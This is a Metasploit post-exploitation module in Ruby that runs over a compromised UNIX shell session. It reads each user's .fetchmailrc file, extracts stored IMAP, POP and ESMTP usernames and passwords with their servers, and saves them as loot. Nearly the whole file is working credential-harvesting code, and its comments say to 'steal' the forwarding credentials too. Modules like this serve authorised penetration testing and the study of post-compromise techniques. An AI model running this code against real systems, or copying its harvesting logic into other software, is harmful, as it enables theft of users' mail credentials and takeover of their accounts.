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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'UNIX Gather .fetchmailrc Credentials',
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        'Description' => %q{
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          Post Module to obtain credentials saved for IMAP, POP and other mail
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          retrieval protocols in fetchmail's .fetchmailrc
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
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        'Platform' => %w[bsd linux osx unix],
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        'SessionTypes' => [ 'shell' ]
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      )
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    )
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  end
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  def run
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    # A table to store the found credentials.
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    cred_table = Rex::Text::Table.new(
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      'Header' => '.fetchmailrc credentials',
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      'Indent' => 1,
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      'Columns' =>
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      [
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        'Username',
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        'Password',
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        'Server',
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        'Protocol',
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        'Port'
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      ]
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    )
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    # walk through each user directory
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    enum_user_directories.each do |user_dir|
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      fetchmailrc_file = ::File.join(user_dir, '.fetchmailrc')
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      unless readable? fetchmailrc_file
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        vprint_error("Couldn't read #{fetchmailrc_file}")
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        next
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      end
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      print_status("Reading: #{fetchmailrc_file}")
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      # read their .fetchmailrc if it exists
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      lines = read_file(fetchmailrc_file).each_line.to_a
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      next if (lines.size <= 0)
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      print_status("Parsing #{fetchmailrc_file}")
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      # delete any comments
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      lines.delete_if { |l| l =~ /^#/ }
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      # trim any leading/trailing whitespace
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      lines.map(&:strip!)
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      # turn any multi-line config options into a single line to ease parsing
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      (lines.size - 1).downto(0) do |i|
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        # if the line we are reading doesn't signify a new configuration section...
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        next if ((lines[i] =~ /^(?:defaults|poll|skip)\s+/))
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        # append the current line to the previous
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        lines[i - 1] << ' '
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        lines[i - 1] << lines[i]
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        # and axe the current line
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        lines.delete_at(i)
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      end
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      # any default options found, used as defaults for poll or skip lines
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      # that are missing options and want to use defaults
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      defaults = {}
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      # now parse each line found
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      lines.each do |line|
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        # if there is a 'default' line, save any of these options as
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        # they should be used when subsequent poll/skip lines are missing them.
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        if (line =~ /^defaults/)
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          defaults = parse_fetchmailrc_line(line).first
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          next
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        end
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        # now merge the currently parsed line with whatever defaults may have
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        # been found, then save if there is enough to save
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        parse_fetchmailrc_line(line).each do |cred|
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          cred = defaults.merge(cred)
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          if (cred[:host] && cred[:protocol])
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            if (cred[:users].size == cred[:passwords].size)
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              cred[:users].each_index do |i|
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                cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
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              end
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            else
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              print_error("Skipping '#{line}' -- number of users and passwords not equal")
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            end
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          end
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        end
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      end
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    end
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    if cred_table.rows.empty?
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      print_status('No creds collected')
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    else
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      print_line("\n" + cred_table.to_s)
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      # store all found credentials
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      p = store_loot(
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        'fetchmailrc.creds',
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        'text/csv',
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        session,
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        cred_table.to_csv,
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        'fetchmailrc_credentials.txt',
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        '.fetchmailrc credentials'
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      )
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      print_status("Credentials stored in: #{p}")
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    end
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  end
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  # Parse a line +line+, assumed to be from a fetchmail configuration file,
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  # returning an array of all credentials found on that line
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  def parse_fetchmailrc_line(line)
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    creds = []
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    cred = {}
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    # parse and clean any users
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    users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten
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    unless users.empty?
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      cred[:users] = []
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      users.each do |user|
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        cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')
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      end
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    end
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    # parse and clean any passwords
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    passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten
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    unless passwords.empty?
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      cred[:passwords] = []
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      passwords.each do |password|
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        cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')
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      end
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    end
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    # parse any hosts, ports and protocols
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    cred[:protocol] = ::Regexp.last_match(1) if (line =~ /\s+proto(?:col)?\s+(\S+)/)
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    cred[:port] = ::Regexp.last_match(1) if (line =~ /\s+(?:port|service)\s+(\S+)/)
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    cred[:host] = ::Regexp.last_match(1) if (line =~ /^(?:poll|skip)\s+(\S+)/)
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    # a 'via' option overrides poll/skip
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    cred[:host] = ::Regexp.last_match(1) if (line =~ /\s+via\s+(\S+)/)
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    # save this credential
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    creds << cred
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    # fetchmail can also "forward" mail by pulling it down with POP/IMAP and then
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    # connecting to some SMTP server and sending it.  If ESMTP AUTH (RFC 2554) credentials
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    # are specified, steal those too.
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    cred = {}
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    cred[:users] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtpname\s+(\S+)/)
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    cred[:passwords] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtppassword\s+(\S+)/)
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    # XXX: what is the best way to get the host we are currently looting?  localhost is lame.
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    cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')
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    cred[:protocol] = 'esmtp'
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    # save the ESMTP credentials if we've found enough
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    creds << cred if (cred[:users] && cred[:passwords] && cred[:host])
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    # return all found credentials
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    creds
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  end
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end
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